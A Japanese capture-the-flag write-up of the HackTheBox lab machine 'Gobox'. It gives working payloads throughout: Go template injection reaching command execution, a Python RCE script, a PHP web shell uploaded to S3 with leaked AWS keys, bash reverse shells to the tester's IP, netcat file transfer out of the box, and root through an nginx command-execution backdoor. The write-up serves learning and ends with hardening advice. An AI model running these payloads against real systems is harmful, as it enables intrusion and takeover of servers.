今回はHackTheBoxのMediumマシン「Gobox」のWriteUpです!
名前からして、Go言語が使用されていそうですが、どのようなマシンなのでしょうか!
※ 2024/03/14 に行われました Security Days のオープンセッションにて攻略したマシンとなります!セッションへの参加ありがとうございました!
グラフはよくあるMediumの感じですね。
評価はなんと★5!これは期待できます!攻略目指して頑張ります~!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Gobox
攻略
それでは、早速攻略を開始していきましょう!
いつも通りポートスキャンから始めます!
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.3>$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.113 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Hacking eSports | {{.Title}}
4566/tcp open http syn-ack ttl 63 nginx
|_http-title: 403 Forbidden
8080/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Hacking eSports | Home page
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: 271532D72FD5025CF19147524DE66481
HTTP のポートがいくつか確認できます。
順番にアクセスしてみましょう。
まずは、80番です。
サイトが表示されましたが、特に遷移先は見つかりません。
次は、4566番にアクセスしてみましょう。
nmap の出力から分かっていたことではありますが、Forbidden が返ってきました。
最後は、8080番にアクセスしてみます。
ログイン画面が表示されました。
攻撃できそうな対象は、8080番のみなので色々試してみることにしました。
SSTI
ログイン画面に対し、SQLインジェクションなどの攻撃を行いましたが発火しません。
ログインのバイパスは厳しそうなので、「Forget Password」を押下してみます。
よくあるメールアドレスを入力するタイプの画面が表示されました。
とりあえず適当に入力し、「Login」をクリックします。
test@test.com
というメールアドレスを入力すると、メッセージとして入力した値がそのまま出力されました。
メールアドレスの出力は、制御できそうなので脆弱性が発火するかもしれません。
では、どのような脆弱性を発火させるかですが、脆弱性として危険度が高いものとしてSSTI
が挙げられます。Python や Ruby では有名な脆弱性ですが、今回のサーバはどの言語が使用されているのでしょうか。
レスポンスのヘッダー部分を見ると、X-Forwarded-Server: golang
と書いてあることが分かります。
どうやら、サーバにはGo言語が使用されているみたいです。
それではGo言語でのSSTI
を試してみましょう。
Go言語のSSTI
を発火させる文字列として、{{.}}
があります。これは、与えられている変数を出力するものです。email を{{.}}
に変更し、リクエストを送信してみましょう。
SSTI
が発火しました!
出力された変数の値を見ると、それはメールアドレスとパスワードのようです。この情報を使用し、ログインできるか試してみましょう。
ログインに成功しました!が、どうやらコードが出力されるもの見たいです。
軽くコードを見ていると、気になる部分を見つけました。
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}
上記は、DebugCmd
という関数のコードですが、test
で渡された文字列を使用し、exec.Command
を実行しています。明らかに怪しいです。
と言っても、コードの中では関数が実際に実行されていないので悪用は難しいように思われるかもしれません。しかし、SSTI
を悪用することで関数を実行することもできます。
関数の実行には{{.<function> "<args>"}}
という文字列を指定するだけです。試しにid
コマンドを実行してみましょう。
{{.DebugCmd "id"}}
と入力すると...
id
コマンドの結果が返ってきました!コマンドを実行できたことが分かります。
では、シェルを取得しましょう!実行するコマンドはいつものやつです。
{{.DebugCmd "bash -c 'bash -i >& /dev/tcp/<Kali IP>/<Kali Port> 0>&1'"}}
のコマンド部分をURLエンコードし、送信します。
送信する前に待ち受けを開始することを忘れないでください。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2121
listening on [any] 2121 ...
待ち受けを開始したら、実行していきましょう!
実行しましたが、シェルは返ってこなく最終的にタイムアウトとなってしまいました。
色々と試しましたが、そもそも対象のサーバからKali側へ通信することが制限されていました。アウトバンドの通信を許さないようです。
しかし、リバースシェルを取得できなくとも、内部を列挙していくことは可能です。BurpSuiteで毎回リクエストを送信すればよいですが、少し不便なので以下のスクリプトを用意しました。
#!/usr/bin/env python3
import requests
import re
import sys
from html import unescape
cmd = sys.argv[1]
data = {"email": f'{{{{.DebugCmd "{cmd}" }}}}'}
response = requests.post('http://10.10.11.113:8080/forgot/', data=data)
re_rule = re.compile(r"Email Sent To: (.*?)\s+<button", re.DOTALL)
result = re_rule.search(response.text).group(1)
result = unescape(unescape(result))
print(result)
上記のスクリプトは引数でコマンドを指定するだけで、結果の部分のみを出力してくれるものです。例えばid
コマンドを実行してみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'id'
uid=0(root) gid=0(root) groups=0(root)
id
の結果のみ出力されました!本来のシェルより不便なのは変わりませんが、BurpSuiteでいちいちエンコードし、出力を探すよりは断然効率が良くなりました。
AWS
では、ここからさらに列挙を開始していきましょう。
まず侵入先がコンテナかどうかの見分けをつけるために、ホームディレクトリを確認します
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'ls -l /home'
total 0
ユーザがいませんでした。これはコンテナの確立が高そうですね。
コンテナである可能性を確実にするため、ip
コマンドとifconfig
コマンドを実行してみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'ip'
/bin/bash: ip: command not found
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'ifconfig'
/bin/bash: ifconfig: command not found
どちらのコマンドも存在しないようです。これは、コンテナの典型的な例で、侵入先はやはりコンテナのようです。
では、一体どのようなコンテナが使用されているのかですが、こういう時は環境変数を確認することもひとつの手です。env
コマンドを実行してみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'env'
HOSTNAME=aws
PWD=/opt/uhc
HOME=/root
AWS_SECRET_ACCESS_KEY=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
SHLVL=0
AWS_ACCESS_KEY_ID=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DEBIAN_FRONTEND=noninteractive
OLDPWD=/
_=/usr/bin/env
ホスト名がAWSになっています!どうやらこのホストは AWS EC2 コンテナのようです。
また、環境変数の中に AWS の credential が保存されています。AWS のバイナリがあればを credential 使用して侵入できるかもしれません。バイナリがあるかどうか検索してみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'which aws'
/usr/bin/aws
バイナリを発見しました!コマンドが実行できそうです。
Web Shell (S3)
それでは実際にコマンドを実行していきましょう。どのようなコマンドを実行するかですが、今回行いたいこととしては、認証情報を発見することやWeb Shellを作成することなので、S3
を見てみたいと思います。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 ls'
2024-03-11 09:52:55 website
website
というS3
を発見しました!
もう少し中身を見てみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 ls s3://website'
PRE css/
2024-03-11 09:52:55 1294778 bottom.png
2024-03-11 09:52:55 165551 header.png
2024-03-11 09:52:55 5 index.html
2024-03-11 09:52:55 1803 index.php
index.html
を含む4つのファイル、そしてcssディレクトリが確認できました。一つのWebサイトがS3
と同期しているかもしれません。index.html
の内容を見てみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 cp s3://website/index.html /tmp/index.html'
download: s3://website/index.html to ../../tmp/index.htmlmaining
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'cat /tmp/index.html'
test
test
とだけ、表示されました。test
だけが表示されるウェブサイトなんてあったでしょうか。。。
今回はいくつかポートがオープンしていたので、index.html
を指定し、アクセスしてみましょう。
80番ポートでアクセスすると...
test
とだけ表示されています!どうやらこのS3
は、80番ポートのWebサイトと同期している可能性がありそうです。また、PHPが使用できるのでWeb Shellが作成できるかもしれません。
では、試しにPHPファイルを作成し、S3
上にアップロードしてみましょう。PHPファイルの内容はいつものWeb Shellです。ただ、コマンドライン上から実行しようとすると、ダブルクォートがエラーを出力してしまうため、作成は、URLエンコードさせた値をBurpSuiteから送信します。
実行するコマンドは以下です。
echo '<?php system($_GET[\"cmd\"]); ?>' > /tmp/shell.php
このコマンドをURLエンコードさせ、BurpSuiteからリクエストを送信しましょう。
特に返り値はないですが、エラーも出ていないので作成できていそうです。
/tmp/shell.php
を見てみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'cat /tmp/shell.php'
<?php system($_GET["cmd"]); ?>
PHPファイルの作成に成功しました!
では、S3
にアップロードしていきましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ python3 rce.py 'aws s3 cp /tmp/shell.php s3://website/shell.php'
upload: ../../tmp/shell.php to s3://website/shell.php) remaining
アップロードに成功したっぽいですが、どうでしょうか。実際にアクセスしてみましょう。
おおおお!Web Shellが作成され、コマンドの実行ができました!
www-data としてのシェル
それでは、リバースシェルを取得しましょう!
実行するコマンドは以下です。
bash -c 'bash -i >& /dev/tcp/10.10.14.9/2121 0>&1'
このコマンドをURLエンコードし、cmd
パラメータに指定します。
実行する前に、待ち受け開始を忘れてはいけません。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2121
listening on [any] 2121 ...
準備万端です!実行しましょう!
特に応答はありませんが...
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.113] 46870
bash: cannot set terminal process group (809): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gobox:/opt/website$ whoami
whoami
www-data
シェルが返ってきました~!!
やっと初期侵入に成功です!
www-data@gobox:/home/ubuntu$ ls -l
total 4
-rw-r--r-- 1 root root 33 Mar 11 09:53 user.txt
ユーザフラグも取得できました!
権限昇格
現在のユーザはwww-data
でしたが、ホームディレクトリにはubuntu
ユーザしかいなかったので、このまま権限昇格を狙えそうです。
とりあえず、sudo -l
を実行してみましょう。
www-data@gobox:/home/ubuntu$ sudo -l
[sudo] password for www-data:
Sorry, try again.
パスワードを求められるので、実行できそうにないです。
では次に何をするかですが、権限昇格を狙う方法はいくつかあります。しかし、今回怪しいのは403
を返していた4566番ポートです。オープンしているのに、ここまで関与してこないなんてことは、滅多にありません。
先ほどの 80番ポートを見たときに、Serverがnginxであることは分かっているので、nginxの構成を見てみましょう。/etc/nginx
へアクセスすることで構成を見ることが出来ます。
www-data@gobox:/etc/nginx$ ls -la
total 72
drwxr-xr-x 8 root root 4096 Aug 26 2021 .
drwxr-xr-x 108 root root 4096 Aug 26 2021 ..
drwxr-xr-x 2 root root 4096 Aug 26 2021 conf.d
-rw-r--r-- 1 root root 1077 Feb 4 2019 fastcgi.conf
-rw-r--r-- 1 root root 1007 Feb 4 2019 fastcgi_params
-rw-r--r-- 1 root root 2837 Feb 4 2019 koi-utf
-rw-r--r-- 1 root root 2223 Feb 4 2019 koi-win
-rw-r--r-- 1 root root 3957 Feb 4 2019 mime.types
drwxr-xr-x 2 root root 4096 Aug 26 2021 modules-available
drwxr-xr-x 2 root root 4096 Aug 26 2021 modules-enabled
-rw-r--r-- 1 root root 1484 Aug 24 2021 nginx.conf
-rw-r--r-- 1 root root 180 Feb 4 2019 proxy_params
-rw-r--r-- 1 root root 636 Feb 4 2019 scgi_params
drwxr-xr-x 2 root root 4096 Aug 26 2021 sites-available
drwxr-xr-x 2 root root 4096 Aug 26 2021 sites-enabled
drwxr-xr-x 2 root root 4096 Aug 26 2021 snippets
-rw-r--r-- 1 root root 664 Feb 4 2019 uwsgi_params
-rw-r--r-- 1 root root 3071 Feb 4 2019 win-utf
いくつかファイルがありますが、4566番の構成を見たいので、site-enabled
へアクセスしましょう。
www-data@gobox:/etc/nginx/sites-enabled$ ls -l
total 0
lrwxrwxrwx 1 root root 34 Aug 23 2021 default -> /etc/nginx/sites-available/default
default
がありますね。内容を確認してみると、それぞれのポートの構成が記述されていました。4566番の部分を抜粋します。
server {
listen 4566 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
if ($http_authorization !~ "(.*)SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz(.*)") {
return 403;
}
proxy_pass http://127.0.0.1:9000;
}
}
アクセス時に認証を行い、認証に成功した場合のみproxy_pass
で 9000番へ転送されるようです。
4566番が怪しいかと思いましたが、認証部分もハードコードされており、攻撃パスとしては少し弱い気がします。9000番もproxy_pass
であり、こちらはコンテナ系でよく見るものなので、微妙な気がします。
backdoor
読みがはずれ、少し困りましたがdefault
の内容を下まで読んでいくと、気になる構成を発見しました。
server {
listen 127.0.0.1:8000;
location / {
command on;
}
}
8000番のサーバの構成が存在しています。8000番はポートスキャンでは確認できなかったポートです。また、location
がcommand on
となっており、明らかにアツそうな気がします。
command on
ということはコマンドが実行できるのでしょうか。もしコマンドが実行できた場合にnginxがrootで実行されていると、権限を昇格することができそうです。
それでは、nginxがどのユーザで実行されているかを確認してみましょう。nginx.conf
ファイルにより、実行ユーザを確認することが可能です。
www-data@gobox:/etc/nginx$ cat nginx.conf
user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
<snip>
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
出力の一番上をみると、user root
となっており、nginxがrootユーザで実行されていることがわかりました!やはり激アツな予感がするので、少しcommand on
について調べてみましょう。
「nginx "command on" location」のような形で検索をかけてみました。
有用そうな記事がヒットしました!一番上のGitHubのページを見てみましょう。
8000番のサーバと全く同じ設定が書いてあります!
さらに下を見ていくと、コマンドの実行方法も書いてありました。
記事によると、http://<Server IP>/?system.run[command]>
でリクエストを送信することにより、コマンドの実行結果が返ってくるようです。
どうやら/modules/ngx_http_execute_module.so;
というモジュールをロードしていることが原因のようです。
とにかく、コマンドが実行できそうなので試してみましょう。コマンド部分にid
を指定したURLに対して curl
を実行します。
www-data@gobox:/etc/nginx/modules-enabled$ curl http://127.0.0.1:8000?system.run[id]
curl: (52) Empty reply from server
あれ、うまくいきませんね。GitHubのページ的には確実に実行できるはずですが、、、すこしモジュールを調べてみることにします。find
コマンドでモジュールを探してみましょう。
www-data@gobox:/etc/nginx/modules-enabled$ find / -name ngx_http_execute_module.so 2>/dev/null
/usr/lib/nginx/modules/ngx_http_execute_module.so
見つかりました。このso
ファイルをローカルへ転送します。
まず初めに、待ち受けを開始します。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ nc -lnvp 2122 > ngx_http_execute_module.so
listening on [any] 2122 ...
待ち受けが開始出来たら、cat
した結果をnc
で転送させます。
www-data@gobox:/etc/nginx/modules-enabled$ cat /usr/lib/nginx/modules/ngx_http_execute_module.so | nc 10.10.14.6 443
転送が終わったら、ファイルに対してstrings
コマンドを実行し、system.run
が存在するか確認してみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ strings ngx_http_execute_module.so | grep system.run
grep
を実行したところ、見つからなかったため存在していないようです。
少しフィルターを弱くして、run
という文字だけでgrep
を実行してみましょう。
+[~/hackthebox/machine/gobox]
(σ▰>∇<)σ<10.10.14.9>$ strings ngx_http_execute_module.so | grep run
ippsec.run
すると、ippsec.run
を発見しました!
もしかしたら、このモジュールでコマンドを実行できるかもしれません。いや、実行できない気もしますが、試してみましょう。
root としてのシェル
それでは、先ほどのsystem.run
をippsec.run
に変更し、curl
を実行したいと思います。
www-data@gobox:/etc/nginx/modules-enabled$ curl http://127.0.0.1:8000?ippsec.run[id]
uid=0(root) gid=0(root) groups=0(root)
なんとコマンドが実行できました!!
最終的に一筋縄ではいかない感じが、さすがMediumマシンだなという気がしますね笑
それでは、あとはいつもの流れで権限昇格を行いましょう。
/bin/bash
にSUIDを付与していきます!
$ curl -g http://127.0.0.1:8000?ippsec.run[chmod%20u+s%20%2Fbin%2Fbash]
curl: (52) Empty reply from server
付与しただけなので、特に返り値はありません。
SUIDが付与されているかどうか確認してみましょう。
$ curl -g http://127.0.0.1:8000?ippsec.run[ls%20-l%20%2Fbin%2Fbash]
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
SUIDが付与されています!権限を昇格させましょう!
www-data@gobox:/etc/nginx/modules-enabled$ bash -p
bash-5.0# whoami
root
権限昇格成功です~~!
bash-5.0# ls -l
total 12
-rwxr-xr-x 1 root root 536 Aug 24 2021 iptables.sh
-rw------- 1 root root 33 Mar 11 09:53 root.txt
drwxr-xr-x 3 root root 4096 Aug 26 2021 snap
ルートフラグも取得することが出来ました!完全攻略達成です!
攻略を終えて
Gobox攻略してきましたが、かなり面白いマシンだったと思います。Go言語やAWS、nginxのモジュール単位でのハッキングはあまり実践できないものでもあるので、攻略していて新鮮でした。旬な技術でもあるので、参考になる人も多いのではないかと思います。
今回は、Go言語のSSTI
で侵入できました。やはりユーザの入力をそのままテンプレートで使用するようなことは危険すぎるので避けた方がいいですね。また、侵入後、AWSのクレデンシャルがあり、S3の中を自由に操作できましたが、こちらも避けるべき設定です。必要ない場合はそれぞれを独立させ、適切なアクセス制限をかけておきましょう。
今後もHackTheBoxのWriteUp投稿していくので見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!
また、オープンセッションに来場してくださった方々、本当にありがとうございました〜!!